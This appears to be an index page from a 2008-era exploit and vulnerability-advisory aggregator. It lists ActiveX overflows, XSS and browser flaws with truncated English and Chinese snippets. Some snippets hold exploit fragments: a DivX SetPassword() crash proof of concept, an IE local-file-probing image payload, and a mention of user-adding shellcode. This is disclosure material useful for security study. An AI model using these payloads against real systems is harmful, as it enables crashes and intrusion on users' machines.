Exteen Blog XSS Remote Cookie Disclosure Exploit

========================================================== Exteen Blog XSS Remote Cookie Disclosure Exploit ========================================================== AUTHOR : CWH Underground DATE : 22 May 2008 SITE : www.citec.us APPLICATION : Exteen Blog VENDOR : www.exteen.com --- Vulnerable...

exteen-disclose.txt

========================================================== Exteen Blog XSS Remote Cookie Disclosure Exploit ========================================================== AUTHOR : CWH Underground DATE : 22 May 2008 SITE : www.citec.us APPLICATION : Exteen Blog VENDOR : www.exteen.com --- Vulnerable...

Yahoo! 助手(3721) ActiveX远程代码执行漏洞

漏洞存在于ynotifier.dll这个ActiveX控件. 成功利用此漏洞可以使得攻击者能够在安装了Yahoo!助手的电脑上执行任意代码. 成功利用此漏洞需要诱使用户访问特定网页. 在通过IE初始化Ynoifier COM对象时,会出现一个可利用的内存破坏漏洞. c78.fa0: Access violation - code c0000005 first chance First chance exceptions are reported before any exception handling. This exception may be expected and handle...

Microsoft Works 7 WkImgSrv.dll ActiveX Remote BOF Exploit

Exploit for unknown platform in category remote exploits ========================================================= Microsoft Works 7 WkImgSrv.dll ActiveX Remote BOF Exploit ========================================================= MOV ESI,DWORD PTR SS:EBP+8 ; Do some other stuffs, we don't care...

Microsoft HeartbeatCtl ActiveX控件远程溢出漏洞

BUGTRAQ ID: 28882 CVECAN ID: CVE-2007-6255 Microsoft HeartbeatCtl ActiveX控件用于在MSN游戏站点玩多用户游戏。 HeartbeatCtl ActiveX控件在处理Host参数时存在缓冲区溢出漏洞，如果用户受骗浏览了特制的HTML文档的话，就可能触发这个溢出，导致执行任意指令。 Microsoft HeartbeatCtl ActiveX 临时解决方法： 在IE中为以下CLSID设置kill bit禁用有漏洞的ActiveX： E5D419D6-A846-4514-9FAD-97E826C84822...

Foxmail fmrsslink.dll RSSLINKLib.Rss AddUrl() Bug

Foxmail的fmrsslink.dll控件里IRss接口AddUrlURL, Info方法未检查网页提供的rss链接长度,当用户通过IE右键菜单收藏超长rss链接至Foxmail时,将导致栈溢出. .text:10001044 ; int stdcall AddUrlvoid thisptr, LPCWSTR lpURL, LPWSTR lpInfo .text:10001044 AddUrl proc near ; DATA XREF: .rdata:100041E0o .text:10001044 ; .rdata:10004244o .text:10001044...

Microsoft IE 7弹出窗口地址栏URI欺骗漏洞

BUGTRAQ ID: 28498 Internet Explorer是微软发布的非常流行的WEB浏览器。 如果用户用IE访问了恶意网页的话，则弹出窗口的地址栏可能为任意地址而窗口主题中为任意页面或内容。这有助于攻击者执行网络钓鱼攻击。 Microsoft Internet Explorer 7.0 Microsoft --------- 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本： http://www.microsoft.com/windows/ie/default.asp script language="JavaScript"...

BusinessObjects RptViewerAX ActiveX控件栈溢出漏洞

BUGTRAQ ID: 28292 CVECAN ID: CVE-2007-6254 Business Objects是全球领先的商务智能平台。 Business Objects产品所安装的RptViewerAX ActiveX控件（RptViewerAX.dll）中存在栈溢出漏洞，如果用户受骗访问了恶意网页并向该控件传送了超长参数的话，就可能触发这个溢出，导致执行任意指令。 Business Objects BusinessObjects 6.5 Business Objects ---------------- 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：...

ICQ消息处理远程格式串漏洞

BUGTRAQ ID: 28027 CNCAN ID:CNCAN-2008022904 ICQ是一款流行的即时信息通讯程序。 ICQ存在格式串错误，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 当生成HTML代码显示在嵌入IE组件中时存在格式串错误，发送特殊构建的包含格式串字符的消息其他用户，可触发内存破坏，可能以应用程序进程权限执行任意指令。 ICQ Inc. ICQ 6 目前没有解决方案提供： http://www.icq.com/...

Move Media Player qsp2ie07074039.dll ActiveX控件栈溢出漏洞

BUGTRAQ ID: 27995 Move Media Player是一款网络流媒体播放器。 Move Media Player的ActiveX控件实现上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户系统。 Move Media Player所安装的Quantum Streaming IE Player ActiveX控件（qsp2ie07074039.dll）没有正确地验证对UploadLogs方式的输入参数。如果用户受骗访问了恶意网页并向该方式传送了超长URL参数的话，就可能触发栈溢出，导致执行任意指令。 Move Networks qsp2ie07074039.dll...

Different IE browser windows have different sessions and different session timeout timing

One of our user reported the following: ---- I discovered the reason why JIRA sometimes closes my IE session, it depends on the way you login: 1 When you login via navigation to your home page http://support/jira/secure/Dashboard.jspa all is ok, multiple JIRA sessions never expire. 2 When you log...

Different IE browser windows have different sessions and different session timeout timing

One of our user reported the following: ---- I discovered the reason why JIRA sometimes closes my IE session, it depends on the way you login: 1 When you login via navigation to your home page http://support/jira/secure/Dashboard.jspa all is ok, multiple JIRA sessions never expire. 2 When you log...

Apache 2.2.6 mod_negotiation - HTML Injection / HTTP Response Splitting

source: https://www.securityfocus.com/bid/27409/info Apache 'modnegotiation' is prone to an HTML-injection and an HTTP response-splitting vulnerability because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. Attacker-supplied HTML o...

Digital Data Communications (RtspVaPgCtrl) Remote BOF Exploit

Exploit for unknown platform in category remote exploits ============================================================= Digital Data Communications RtspVaPgCtrl Remote BOF Exploit ============================================================= ///add su one, user: sun pass: tzu shellcode =...

DivX Player 6.6.0 ActiveX SetPassword() Denial of Service PoC

No description provided by source. object id="divx" classid="clsid:D050D736-2D21-4723-AD58-5B541FFB6C11" style="display:none;" /object script function crash var buff = ''; fori=0;i=500;i++ buff+="AAAAAAAAAA"; object = document.getElementById"divx"; object.SetPasswordbuff; /script pre h3uDivX...

DivX Player 6.6.0 - ActiveX 'SetPassword()' Denial of Service (PoC)

function crash var buff = ''; fori=0;i DivX SetPassword npUpload.dll Denial of Service Tested on IE 7 and Divx Player 6.6.0 Registers: EAX 00000000 ECX FFFFFFFF EDX 0191CA50 EBX 008E06E0 ESP 0191C9E4 EBP 0191CA50 ESI 00000000 EDI 00000000 EIP 061F2B52 npUpload.061F2B52 Access violation when readi...

An IE browser vulnerability security testing and analysis-vulnerability warning-the black bar safety net

Today saw on the Internet A IE little vulnerability. Do the following simple analysis The use method is as follows Program code: img src="sysimage://C:\WINNT\Notepad.exe,7 7 7" onError="document. write’bFile Exists!& lt;/b’;" Just start very strange this sysimage://is a Protocol,so in IE into:...

HP Info Center HPInfoDLL.DLL ActiveX控件多个任意代码执行漏洞

HP Info Center是一款设计用于HP笔记本用户快速查询信息信息和硬件配置的程序。 HP Info Center包含的HPInfoDLL.dll ActiveX控件存在设计问题，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 HPInfoDLL.dll的CLSID为： 62DDEB79-15B2-41E3-8834-D3B80493887A 默认包含于"Safe for Scripting" OLE组件，默认路径为C:\Program Files\Hewlett-Packard\HP Info Center，这个控件包含如下不安全方法： VARIANT...

Apple QuickTime 7.27.3 - RSTP Response Universal

Apple QuickTime 7.27.3 - RSTP Response Universal Everyone Loves O|0+|O the Hypnotoad... |...| | | =o0O=====O0o=============================== | QuickTime RTSP Response Content-type | | remote stack rewrite exploit for IE 6/7 | | by Yag Kohha skyhole at gmail.com |...

real-overflow.txt

There are multiple stack overflows in the ierpplug.dll ActiveX Control. These issues were originally discovered by shinnai, http://www.securityfocus.com/bid/22811 and http://www.securityfocus.com/bid/21802. I am adding the Import and PlayerProperty functions to the list. This was tested on Window...